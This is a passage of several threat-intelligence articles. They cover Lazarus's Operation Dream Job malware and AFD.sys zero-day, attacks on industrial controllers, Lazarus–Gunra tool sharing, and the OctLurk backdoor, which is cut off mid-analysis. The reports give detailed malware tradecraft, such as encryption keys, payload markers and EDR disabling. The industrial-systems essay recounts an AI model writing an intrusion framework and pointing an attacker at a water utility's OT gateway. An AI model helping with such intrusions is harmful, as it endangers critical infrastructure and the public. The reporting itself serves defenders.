executed by their implants, helping the malicious traffic blend in with legitimate Google services. Symantec published indicators of compromise related to observed Jewelbug activity, as well as a more detailed technical report describing the threat actor's tooling and tradecraft, their financial operation, and the infrastructure used in attacks. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Shattering the Dream – When a Job Offer Becomes a Zero-Day Attack August 11, 2026 Key Points Check Point Research is tracking a long‑running campaign called Operation Dream Job, targeting organizations worldwide, with a particular focus on the defense sector. The campaign is affiliated to DPRK-linked Lazarus group and its latest wave focuses on the defense sector in Europe and India. In the latest variant of the Operation Dream Job campaign, the threat actor distributed SecurityPDF, a modified PDF viewer designed to open attacker-crafted PDF documents and execute a new backdoor which we named Troy. During the intrusion, the threat actor exploited CVE-2026-68820, a zero-day vulnerability in the Microsoft AFD.sys driver, to deploy a new version of FudModule, Lazarus’ kernel-mode rootkit. Following Check Point Research responsible disclosure, Microsoft released a patch as part of their August Patch Tuesday updates. Lazarus also used CVE-2025-49113 to exploit vulnerable Roundcube webmail servers. The compromised servers were infected with RelayShell, a PHP webshell that repurposes compromised web servers as relay nodes within the attacker’s command-and-control infrastructure. At least in one case, a compromised organization in Western Europe was leveraged to conduct a spear-phishing campaign, allowing the attackers to abuse the organization’s reputation and trust to target additional victims. Introduction Since early 2026, Check Point Research has tracked a wave of the Operation Dream Job campaign. This wave primarily targeted the defense sector worldwide, with a particular emphasis on companies operating in the aerospace and aviation industries. We observed the threat actor distributing modified PDF viewers designed to execute malicious payloads embedded within specially crafted PDF files, opened by the user. In this campaign, the threat actor expanded its delivery method by leveraging impersonation websites and search engine optimization (SEO) techniques to distribute the trojanized applications, increasing its credibility and helping it evade some phishing-based detections. During the operation, the threat actor deployed a new version of the FudModule rootkit, exploiting a zero-day local privilege escalation (LPE) vulnerability in the Windows AFD.sys driver, to obtain SYSTEM privileges and disable EDR visibility. Following responsible disclosure, Microsoft assigned the vulnerability CVE-2026-68820 and released a patch on August 11, 2026, as part of their August Patch Tuesday updates. The attackers’ command-and-control infrastructure consists of compromised Roundcube and WordPress servers hosting RelayShell, a new PHP webshell that repurposes compromised web servers as relay nodes. In this blog, we analyze the latest Operation Dream Job campaign, walking through the complete attack chain and providing a technical analysis of the malware and the novel techniques employed throughout the operation, offering new insights into the group’s evolving modus operandi. Infection Chain The Operation Dream Job campaign begins with targeted spear-phishing lures centered on attractive job opportunities at well-known companies in the defense, aerospace, and aviation industries. The exact method used to approach victims in the current campaign remains unclear. However, based on previously documented Dream Job campaigns, we assess that the threat actor likely approached targets through professional networking platforms such as LinkedIn, or directly through messaging applications. Posing as recruiters, the attackers present enticing job opportunities and ultimately direct victims to download malicious files. During our analysis, we identified two distinct infection chains used to compromise targets. While the second chain appears to represent a more recent evolution of the campaign, both infection methods remain active in parallel. Infection Chain 1: DLL Sideloading chain In this infection chain, the victim is convinced to download an encrypted zip archive containing three files: A legitimate, digitally signed PDF viewer executable. A malicious DLL that is loaded through DLL sideloading. An encrypted payload with a PDF extension. When the victim launches the executable, the malicious DLL libmupdf.dll is loaded via DLL sideloading. The DLL extracts a decoy PDF document from the encrypted payload and displays it to the user, while simultaneously extracting, decrypting, and executing an embedded payload directly in memory. The executed payload is MISTPEN, a lightweight in-memory downloader that uses Microsoft Graph API to access OneDrive in order to retrieve additional modules and run them in memory. Reconnaissance: During the initial stages of the infection, the threat actor deploys several reconnaissance modules that collect system and process information, allowing the attacker to verify that the system is a suitable target before proceeding with the next stage of the attack. Persistence: Once the target has been validated, MISTPEN receives an additional persistence module that installs the malware on disk and ensures that MISTPEN is automatically executed after system reboot. Privilege Escalation: After persistence is established, MISTPEN loads an in-memory local privilege escalation (LPE) module designed to exploit the zero day vulnerability CVE-2026-68820 in the Microsoft AFD.sys driver. Successful exploitation allows the malware to execute FudModule, Lazarus’ kernel-mode rootkit, with SYSTEM privileges. Backdoor Deployment: The final backdoor delivered by MISTPEN is the ForestTiger backdoor, a well-documented malware family widely attributed to the Lazarus threat group. Once deployed, it provides the attackers with long-term remote access to the compromised host. Infection Chain 2: Trojanized PDF viewer In July 2026, we observed a new campaign sharing many characteristics with previously documented Operation Dream Job, particularly the campaign described by ESET in 2025. In this infection chain, victims receive fraudulent job offers impersonating Enveil, a Privacy Enhancing Technology company, and are instructed to download an encrypted ZIP archive containing two files: SecurityPDF – a trojanized PDF viewer that has been modified to extract and execute an encrypted payload from specially crafted PDF documents. A malicious PDF file – an encrypted payload disguised as a PDF document that is decrypted and executed when opened with the modified viewer. SecurityPDF is a trojanized version of a legitimate open-source PDF viewer built on the MuPDF framework. The threat actor modified two code paths responsible for opening PDF documents: the File → Open dialog and the drag-and-drop file handling routine. As a result, whenever a user opens a PDF document, the application checks whether the file contains the following marker This document is encrypted with sumatrapdf reader!!!!!!!!!!!!. If the marker is present, the application extracts the embedded payload, decrypts it using a single-byte XOR key (0x39), writes the resulting executable to %TEMP%\new.exe, and launches it as a child process. The new.exe file is a small executable responsible for reflectively loading an embedded DLL containing the Troy backdoor, a previously undocumented backdoor first observed in this campaign. In addition, we identified at least three websites impersonating Enveil that distribute the trojanized PDF viewer. Some of these websites rank highly in search engine results, with some even appearing as the top result for relevant search queries. It is important to note that the attacker only impersonates Enveil, and there are no indications that the company was targeted or compromised. Although we did not directly observe how the threat actor incorporated these websites into the phishing campaign, we assess that they were likely used to separate the delivery of the trojanized PDF viewer from the delivery of the crafted PDF document. In this scenario, victims would first receive the malicious PDF file through a phishing message and later be instructed to download the PDF viewer from what appears to be the vendor’s legitimate website. Separating these infection chain stages reduces the likelihood of detection. MISTPEN MISTPEN is the first in-memory module executed during the attack chain. First documented by Mandiant in 2024, it functions as a lightweight downloader that uses the Microsoft Graph API to communicate through attacker-controlled files hosted on OneDrive and retrieve additional payloads All files exchanged through OneDrive are encrypted with AES, using separate keys for uploads and downloads. MISTPEN’s primary capability is the reflective loading of PE DLL files directly into memory, enabling the deployment of additional payloads without touching disk. Before delivering the final backdoor, MISTPEN often deploys several in-memory modules designed to perform specific tasks. These modules do not implement their own network communication mechanisms; instead, they execute their designated tasks and return the resulting data to MISTPEN, which uploads it to the C2. Below is a description of the modules we observed being loaded by MISTPEN during our analysis. GetInfoPlugin – Host Reconnaissance Module This module is a 64-bit Windows DLL internally named Release_GetInfoPlugin_x64.dll. Its primary purpose is to profile the compromised host and return the collected information as a single wide-character string. The module collects basic system information, including the machine’s domain or workgroup membership (via NetGetJoinInformation), the computer name, the current user name, and the operating system version and build number. The collected data is formatted in the following template and returned to MISTPEN: This module is a 64-bit Windows DLL internally named Release_PvPlugin_x64.dll. It serves as an extended version of the GetInfoPlugin module, collecting the same host reconnaissance data while adding detailed information about running processes. For each running process, the module collects the Process PID, PPID, creation timestamp, associated domain and user, and process name. The collected information is formatted into a tabular process list and returned to MISTPEN. OneScreenCapture – Screenshot Module This module is a 64-bit Windows DLL internally named OneScreenCapture64.dll, it is responsible for capturing the current desktop (including all monitors) and returns the screenshot to its caller. The module uses standard Windows USER32 and GDI APIs to capture the virtual desktop into a bitmap. The bitmap is then converted to a JPEG image and Base64-encoded into a single wide-character string before being returned to MISTPEN for exfiltration. LPE loader This module is a 64-bit Windows DLL that acts as a loader for a local privilege escalation (LPE) exploit module. It is loaded by an extended version of MISTPEN that provides it with an RPC buffer used for communication between the two components. Messages written to this buffer are forwarded by MISTPEN to the attacker through its existing Microsoft Graph API communication channel, while responses received from the C2 are relayed back to the module through the same interface. In addition to MISTPEN’s AES-based transport encryption, the module encrypts all exchanged data using GOST-CBC with a randomly generated 16-byte session key. The encrypted data is then Base64-encoded, with the session key prepended to each packet. The module operates in four stages: Host Fingerprinting – The module gathers detailed information about the compromised host, including the operating system version, build number, installed security products, and other system characteristics. Key Exchange – The module requests a set of four public keys from the C2 server. Session Key Generation – Using the received public keys, the module generates new key material using the Kyber/ML-KEM algorithm and transmits the resulting encapsulated key material back to the C2. LPE Deployment – Finally, the module requests the encrypted LPE payload, decrypts it using the negotiated key, and executes it directly in memory with export DestroyEnv. Throughout the process, status messages are sent back to the C2 to indicate whether each stage of the exploitation succeeded. The downloaded LPE payload is FudModule, Lazarus’ kernel-mode exploit module. It exploits a local privilege escalation vulnerability to obtain SYSTEM privileges and injects a payload into a SYSTEM process. In the observed attack, the injected payload was another instance of MISTPEN, allowing the malware to continue operating with elevated privileges and without EDR visibility. CVE-2026-68820: Yet another Zero-Day discovered by Lazarus The file we investigated, Afd4Eop12_x64.dll, has a compiler timestamp of July 7, 2026, 22:07:44 UTC. Its strings immediately suggest a variant of FudModule, including references such as “enable_god_mode passed.” and a main function similar to previous Fud Modules. FudModule is a Lazarus privilege escalation tool, reported and being used since around 2021. The module targets afd.sys, the Windows Ancillary Function Driver, a part of the Windows kernel that is in charge of managing and handling sockets in Windows. In 2024, FudModule was reported to use another zero-day, CVE-2024-38193, a use-after-free vulnerability in the same afd.sys driver. At first sight, the vulnerability looked similar to CVE-2025-60719, which is also a use-after-free vulnerability in the AFD.sys driver fixed in November 2025 and not linked to any particular threat actor. In the sample itself, we observed an explicit minimum-version check for Windows 11build 26100 (24H2), with explicit support also for build 26200 (25H2). However, testing on the latest fully patched Windows 11 system confirmed that the exploit targets a distinct, previously undocumented vulnerability, actively being used in the wild as a part of Operation ‘Dream Job’ since at least early July 2026. We will not be disclosing full technical details of the vulnerability in this article, as it was patched on the August 11 Patch Tuesday fix. At a high level, the exploit takes advantage of how afd.sys handles a socket is created when it is accessed concurrently by several threads at once. The driver maintains a small piece of information about the state associated with each socket. Under specific concurrent conditions, two of its own code paths can operate on this state at the same simultaneously, without synchronization, creating a race condition If triggered at the right moment, one code path can access memory after it has already been released by another, resulting in a use-after-free vulnerability. From there, the module does what these modules do – it leverages this memory corruption to obtain a kernel read/write primitive, which is subsequently used to achieve local privilege escalation to SYSTEM. We disclosed the issue to Microsoft, and Microsoft issued a fix quickly. Disclosure timeline Jul 28, 2026: Issue reported to the Microsoft Security Response Center (MSRC). Jul 31, 2026: Microsoft confirmed the bug Aug 5, 2026: Microsoft assigned CVE-2026-68820 to the issue. Aug 11, 2026: Fixed on Patch Tuesday. FudModule v3.1 Except for a novel, completely different exploit chain, this FudModule’s post-exploitation behavior is quite similar to FudModule v3, reported by Gen Digital back in 2024. Shared with v3 The entire telemetry teardown suite: process, thread, and image notify callbacks; object and registry callbacks; minifilter removal by altitude band; and the termination of the NT Kernel Logger. Crash-dump suppression, executed before everything else. The WFP stage, which is activated when Kaspersky is present and Symantec is absent. The hardcoded ETW provider kill-list: its 94 GUIDs match the first 94 entries of Gen’s published 95-GUID list, in identical order. The driver selection engine, with the same universal preserve list and per-class keep and kill rules. Privileged-handle forgery and the same two-hop spawn through services.exe into a SYSTEM msiexec.exe process. Logging vocabulary, surviving essentially string-for-string, including: GetGodMode failed, GetSystemHandle passed., CreateRemoteProcess passed., RemoteDllExecute passed., and the ClearVaccine* family. Functionality removed from v3 The dedicated Microsoft Defender stage used to disable monitoring of MsMpEng.exe. Only the orphaned string SuspendDefender passed. remains, and is no longer referenced by executable code, while Gen’s FudModule v3 YARA rule contains the active-stage variant SuspendDefender skipped. The PPL stripping functionality targeting AhnLab’s asdsvc.exe. Microsoft Defender is still blinded here, but only through the generic security-product suppression engine, like any other vendor, rather than through a dedicated Defender-specific stage. New functionality since v3 A Smart App Control tampering functionality not documented in publicly analyzed FudModule versions through v3. Within the SYSTEM-level msiexec.exe child process, its remote stub sets VerifiedAndReputablePolicyState to zero and invokes NtSetSystemInformation class 0xA4 with option 0x10000000, triggering an in-place reload of the code integrity policy. Targeting As mentioned before, this version only targets newer Windows builds 26100/26200, unlike the previous version that also targeted older ones. Troy Backdoor The Troy backdoor is a newly identified modular remote access trojan in Lazarus’ arsenal. Delivered as a 64-bit DLL, it supports 17 operator commands, providing a broad range of remote access and post-exploitation capabilities. The name Troy is derived from a PDB path embedded in the sample: E:\HK\Tool_Module\Troy_Handle\1Troy_Create_Dll_Tool\x64\Release\Test_Dll.pdb. Notably, the term Troy has also appeared in PDB paths associated with previously documented Lazarus samples. For example, an ESET report published last year documented a sample containing a PDB path E:\Work\Troy\안정화\... The Troy backdoor supports three Command and Control (C2) servers, each configured with a URL and port. At startup, the implant iterates through the configured servers in order, parsing each URL into its host and path components, establishing an HTTP connection, and issuing a connection request. It validates the response against the string CONNECTED and uses the first server that responds successfully. The initial connection is followed by a challenge-response handshake used to authorize the implant against the server. Once authenticated, Troy collects host information and registers the victim by sending a client identifier and a system profile containing the user profile directory, account name, Windows version, local IPv4 address, and current working directory. Following registration, Troy enters its command-processing loop. Tasks received from the C2 server are Base64-encoded; the implant decodes them and identifies commands using plaintext prefix matching. Command results are returned through the send channel in a compact JSON envelope: { "to":" ", "msg":" " }. Responses that exceed the maximum message size are divided into numbered chunks and reassembled on the C2 side. The Troy backdoor provides a notably broad feature set for a single-DLL implant, and a cohesive design. Its seventeen supported commands span the capabilities required for each stage of post-compromise operations, from initial reconnaissance and file operations, to command execution and in-memory code delivery, while following a consistent tasking and result-framing model throughout. Troy Backdoor Supported C2 Commands Compromised Infrastructure Used as ForestTiger C2 As previously reported, ForestTiger’s C2 infrastructure has historically relied primarily on compromised servers mainly running WordPress and SharePoint. In more recent campaigns, the threat actor appears to have shifted toward using compromised Roundcube webmail servers as C2 infrastructure. The majority of the Roundcube servers we analyzed were running versions vulnerable to CVE-2025-49113, a critical PHP Object Deserialization vulnerability that can lead to remote code execution (RCE). Exploitation of this vulnerability requires authentication with valid Roundcube credentials. During our investigation, we identified several credential leaks that are available in the Darkweb, and contain usernames and passwords associated with accounts on the compromised webmail servers. We assess that the threat actor likely leveraged these credentials to authenticate to the affected Roundcube instances before exploiting CVE-2025-49113 to deploy RelayShell web shells, which subsequently serve as a C2 relay mechanism. In addition, we observed the threat actor compromise PrestaShop websites and deploy the same RelayShell web shell. RelayShell Following the post-exploitation of a web server, the threat actor deployed a previously undocumented PHP web shell that we named RelayShell. Unlike a traditional web shell that provides direct command execution, RelayShell primarily acts as a communication relay between the threat actor and an infected endpoint. RelayShell operates in two distinct modes, selected by the password supplied in the HTTP POST request. For clarity, we refer to these as Victim mode and Operator mode. Victim Mode When accessed using the victim password, RelayShell creates a new PHP session that is subsequently used for communication with the infected endpoint. The webshell then decrypts a hidden configuration stored in an external file using a custom substitution cipher. The configuration contains two values: A backbone URL A unique identifier (PID) assigned to the compromised server RelayShell then immediately sends an HTTP POST request to the configured backbone URL using the unique identifier and authentication password. Based on our analysis, the backbone URL appears to point to another RelayShell instance acting as an upstream relay or notification server. This request signals that a new victim session has been established, allowing the operator to subsequently connect using the second password. Operator Mode When accessed using the operator password, RelayShell enters operator mode, providing a set of commands for interacting with the compromised server. These commands support session management, connectivity checks, file upload and deletion, and retrieval of activity logs. File-Based Communication Channel After both the victim and operator sessions are established, RelayShell provides two commands, send and receive, which implement a lightweight file-based communication channel using temporary files stored on the compromised server. Messages are exchanged through files following the naming convention .log where object identifies the side of the communication channel: 1 for the victim and 2 for the operator. When sending data, RelayShell writes the supplied content to the session file corresponding to the sender. When receiving data, RelayShell reads and returns the contents of the file corresponding to the opposite side, creating a bidirectional communication between the victim and the operator. This mechanism effectively turns the compromised web server into a relay node. The victim-side implant establishes the session and notifies the backbone server that is monitored by the threat actor , after which the actor connects to the RelayShell instance and exchanges commands and responses through the file-based messaging channel. During our investigation, we observed the threat actor accessing RelayShell through shared VPN services, including ExpressVPN, further obscuring the origin of their infrastructure. We also identified 17 unique identifiers, suggesting that at least 17 compromised servers were likely used as relay nodes during the campaign. However, we were unable to identify all of the affected servers. Victimology This new Operation Dream Job campaign focused heavily on the defense sector, particularly organizations involved in military technologies such as surveillance sensors, drones, and robotics. The campaign had a global reach, with activity extending into South America, including Brazil, and successful targeting observed in Western Europe, including France and Germany. During the campaign, a compromised organization headquartered in France was later leveraged by the threat actor to conduct spear-phishing attacks against targets worldwide, likely to increase the perceived campaign’s authenticity and credibility. Another notable target was India, which has a substantial and rapidly growing defense and aerospace industry, with expanding domestic production and technology exports. Conclusion The latest Operation Dream Job campaign demonstrates that Lazarus continues to evolve both its malware capabilities and operational tradecraft. Beyond deploying a new version of FudModule that exploits the CVE-2026-68820 zero-day vulnerability, the threat actor also refined its initial access techniques by combining targeted spear-phishing with impersonation websites and search engine optimization (SEO) to distribute trojanized software. The threat actor’s decision to rely on compromised Roundcube instances and content management system (CMS) servers for C2 reflects an operational approach well suited to highly monitored defense-sector environments, where network activity may be closely inspected by organizational security teams as well as government and national cybersecurity authorities. By abusing legitimate web infrastructure, the threat actor can better blend malicious communications within normal network traffic. Our findings highlight Lazarus’s continued evolution toward stealthier and more resilient operations, combining new delivery techniques, modular malware, zero-day exploitation, and compromised web infrastructure. We believe the technical details presented in this research will help defenders identify, detect, and disrupt future Operation Dream Job campaigns. “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.

What stops attackers wrecking industrial plants is knowing how Engineers at an Israeli food producer spent most of a week rebuilding a refrigeration system after an intruder switched the gas cooler and receiver valves to manual and pinned them open. Liquid CO2 flooded the compressors and destroyed them. The replacement units did not match the originals, so the whole system had to be reworked and recharged with gas. That incident is one of roughly forty in Kaspersky ICS CERT’s quarterly roundup of attacks on industrial organizations covering the second quarter of 2026. Most of them are the usual: phishing, backdoors, ransomware. The handful that reach the machinery sort along one axis, and it is not nationality or motive. It is whether the attacker understood the machinery well enough to break it. “Despite their increasing frequency, many of the modern attempts to do something illegitimate with industrial automation systems appear either timid, lazy, or clumsy,” Kaspersky researchers explained. What changed this quarter is what is now available to close the gap. Profero, which handled the response at the food plant, attributes the campaign to Cyber Isnaad Front, an Iranian state-directed persona targeting Israeli defense, telecom, fuel and transport logistics, and food production. The attacker also changed the central controller’s credentials, locking operators out of managing the system, and in a separate case wiped a controller’s configuration outright. None of that is protocol knowledge. Sending a write command to an industrial controller is easy and has been for years. Knowing which valve positions send liquid refrigerant back into a compressor, and that the compressor will not survive it, is refrigeration engineering. That is the scarce ingredient, and it is what separates a defaced HMI from a capital loss. The high end of the scale turns out to be twenty years old SentinelLabs uncovered a sabotage framework called fast16 whose core components date to 2005, five years before Stuxnet. It never touches machinery. It spreads through Windows networks and quietly corrupts the output of engineering simulation software. The domain knowledge shows in the trigger conditions. Symantec, reviewing the hook engine, described three separate mechanisms for corrupting the math. One fires only during explosion and compression simulations above 30 g/cm³, the density uranium or weapons-grade plutonium reaches when compressed before the implosion. Another touches a calculation used only for high explosives. Engineers got distorted results and no sign anything was wrong. Whoever wrote it understood nuclear weapon design well enough to corrupt it selectively, which is a category of attacker that barely exists. The same quarter’s other end Darktrace pulled apart ZionSiphon, malware built for operational technology and aimed at Israeli water treatment and desalination plants. It never reaches its payload. A logic error in its own targeting check fires the self-destruct routine instead. Darktrace says an activated ZionSiphon could have done real damage, raising chlorine and maximizing flow and pressure. The function meant to do it finds the config file, appends a block of text, and returns. Modbus support is partial, DNP3 and S7comm incomplete. The USB spreader is the one component that works. Someone who could finish the propagation routine left the function that opens a valve unwritten. That is the distribution Kaspersky’s summary is built around, and it is why cyber-physical attacks have stayed rare while cyber-physical intent has not. Wanting to destroy a plant is common. Knowing how takes years in an industry, and attackers have not generally had that time. Monterrey is where the gap starts closing Between December 2025 and February 2026, an unidentified actor breached nine Mexican government entities and exfiltrated large volumes of data, using the Claude and GPT-4.1 APIs for much of the technical work, according to Gambit’s report. Dragos examined one of those intrusions, at the municipal water utility in Monterrey, and found that a compromise of the enterprise IT network had escalated into an attempt on the OT side. The post-compromise framework was a 17,000-line Python script written entirely by Claude, which named it “BACKUPOSINT v9.0 APEX PREDATOR” and refined it during the intrusion in response to operational feedback. The attacker was hunting for data to steal until learning the network contained an OT interface. Claude identified the utility’s industrial gateway as a high-value critical asset. Instructed to attack it, the model produced password spraying, which failed against decent password hygiene. Dragos found no evidence the adversary ever saw anything behind the gateway. The attack was worthless. The pointing was not, and pointing is the step the ZionSiphon developers could not perform for themselves. A model that can recognize an industrial gateway in a network map and explain its significance supplies exactly the ingredient that has been rationing this class of attack. This is not an isolated case. Elsewhere in the quarter, HeartlessSoul shipped AI-generated stagers alongside a RAT built with generative AI, GOFFEE used modules with characteristics typical of LLM generation against Russian defense enterprises, and Check Point assessed that Nimbus Manticore likely used AI-assisted development while building a new backdoor. Kaspersky’s reading is that industrial firms are feeding OT problems to public models, and that the domain knowledge accumulating there will eventually be turned against them. Meanwhile the controllers are still reachable CISA and federal partners have been tracking a group they believe to be Iran-affiliated, hitting programmable logic controllers in US government facilities, water systems, and energy since at least March 2026. The method requires no exploit. The actors install legitimate vendor configuration software on leased infrastructure and open an accepted connection to exposed controllers. The FBI traced the results: project files extracted from the devices, and manipulated data on HMI and SCADA displays. Operators watching those screens saw numbers the attacker chose. Cato Networks measured the background noise this sits in. Between September and November 2025 it counted 14,426 unique targeted IPs across 70 countries, most in the United States, drawing more than 235,000 automated read requests against Modbus registers. Reads are cheap and everywhere. The write attempts came from one machine, all following the same structure, starting at the same register address and writing 27 to 122 registers at a time. Cato flagged them as the finding that concerned the researchers most, and stopped there. Compressors in an Israeli food plant were destroyed by someone who understood refrigeration cycles well enough to flood them with liquid CO2. A water sabotage tool aimed at the same country deleted itself over a coding error and never opened anything. Domain knowledge is the whole distance between those outcomes, and for twenty years it has been the reason most attempts on industrial systems ended as nuisances. In Monterrey, a model spent an intrusion explaining an industrial gateway to an attacker who had not known it was there. Download: The ultimate guide to network operations management

North Korea’s Lazarus Group sharing tools with ransomware hackers, South Korean agencies warn Cyberattack tools and infrastructure used by North Korea’s Lazarus Group appear to have been shared with ransomware criminals targeting South Korean organizations, according to new research released Thursday alongside a joint advisory by four South Korean security and intelligence agencies. The technical report from cybersecurity firm AhnLab details how the state-sponsored North Korean group, widely tracked as Lazarus, and the Gunra ransomware scheme ran parallel campaigns against South Korean targets from 2025 through the first half of this year, differing only in their final objective. Both groups exploited the same vulnerabilities in Korean financial security software products that are effectively mandatory for anyone using Korean banking or government services. Where the Lazarus hackers have installed espionage backdoors in at least 72 organizations in 2026 alone — including government agencies, cryptocurrency exchanges, and IT service providers — Gunra has instead used its access to encrypt files, steal data and demand an extortion payment. According to AhnLab, both groups also used identical malware filenames and execution arguments, the same privilege escalation tools, the same command-and-control servers, and the same SSH key fingerprint — a cryptographic identifier that functions like a unique digital signature. Both even deleted their malware the same way, renaming files to random four-character strings before wiping them. AhnLab named the campaign “Operation Double Barrel,” but stopped short of definitively attributing both campaigns to the same actor, saying the overlaps could indicate collaboration, shared infrastructure, or access brokering. It classified the cases as having “a high likelihood of technical linkage” requiring continued investigation. As part of their campaign, the attackers compromised 15 legitimate Korean websites across multiple industries and used them for watering-hole attacks, redirecting selected visitors of those compromised sites to specific infrastructure that triggered the software flaws and injected malicious code into legitimate Microsoft processes. The intelligence agencies’ advisory warns both individuals and organizations to take defensive measures against the threat. In particular, the advisory alerts users that they may be infected simply by visiting a legitimate website that has been compromised, especially if they have outdated security software installed. The attackers also ran spearphishing campaigns, with one targeting a Korean defense company with emails disguised as a survey about GaN semiconductors. AhnLab noted that the attackers appeared to have used AI to generate some of their lure pages. The report identified multiple websites used for watering-hole attacks managed by the same Korean website development company. AhnLab assessed that the attackers likely compromised the hosting provider first and then expanded access to client sites through the development company’s management system, rather than hacking each one individually. The findings add to a growing body of evidence that Pyongyang-backed hackers are deepening their entanglement with the ransomware ecosystem. In the past 18 months, different North Korean state-sponsored actors have been linked to the Play, Qilin, and Medusa ransomware operations by researchers at Palo Alto Networks, Microsoft, and Symantec respectively. The increasing adoption of third-party ransomware by North Korean actors came under focus back in 2024, when the U.S. Department of Justice unsealed an indictment against Rim Jong Hyok, an alleged member of the government’s Andariel Unit, for his alleged role in ransomware attacks on U.S. hospitals and healthcare companies. The Gunra connection may represent something different. In those earlier cases, North Korean operators joined established criminal franchises as affiliates. Here, the evidence suggests the relationship may run the other direction — with state hackers supplying tools, exploits, and access to a smaller, newer group. Gunra emerged in April 2025, initially targeting five South Korean companies. The group built its ransomware on leaked Conti v2 source code before transitioning to a ransomware-as-a-service model in January of this year. Prior to the AhnLab report, industry researchers had tentatively linked Gunra to Eastern European operators based on its Conti heritage. As of March 2026, the group had claimed at least 32 victims globally across healthcare, manufacturing, IT, and other sectors. As with many RaaS schemes, it operates a double-extortion model, stealing data before encrypting systems and threatening to publish it on a Tor-based leak site. AhnLab warned that the risk extends beyond the organizations specifically targeted. “The Korean financial security software currently being abused… is used not only in various enterprise environments but also on many personal PCs,” the company said. “Because the vulnerabilities can be triggered simply when a user accesses a specific page, not only explicitly targeted organizations but also general user environments running vulnerable software may be exposed to risk.” Alexander Martin is the UK Editor for Recorded Future News. He was previously a technology reporter for Sky News and a fellow at the European Cyber Conflict Research Initiative, now Virtual Routes. He can be reached securely using Signal on: AlexanderMartin.79

Introduction We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments. The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself. Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group. OctLurk OctLurk Deployment The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\ \Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below. The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below. LurkPoxy Deployment In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server. After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below. We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines. OctLurk loader The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes. The double‑XOR decryption uses two distinct multibyte keys: Key 1: hard‑coded in the loader Key 2: derived from the serial number of the C: drive The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes. OctLurk backdoor The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine: OS information as RTL_OSVERSIONINFOW structure Computer name User name Local host name Local IP address in format %u.%u.%u.%u, with local hostname-to-IP-address translation Current local date and time as SYSTEMTIME struct To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows: 0x00: randomly generated XOR key bytes (size 83 bytes) 0x53: compressed data size 0x57: compressed data in the following format: 0x57 + compressed_data_size: randomly generated bytes (from 14 to 41 bytes) The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet. 0x00: randomly picked 10 chars from the string “zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_” 0x0A: \x00\x00 0x0C: next_packet_size The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below. 0x00: XOR key; size 83 bytes 0x53: compressed data size 0x57: compressed data in the format: The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code. OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the 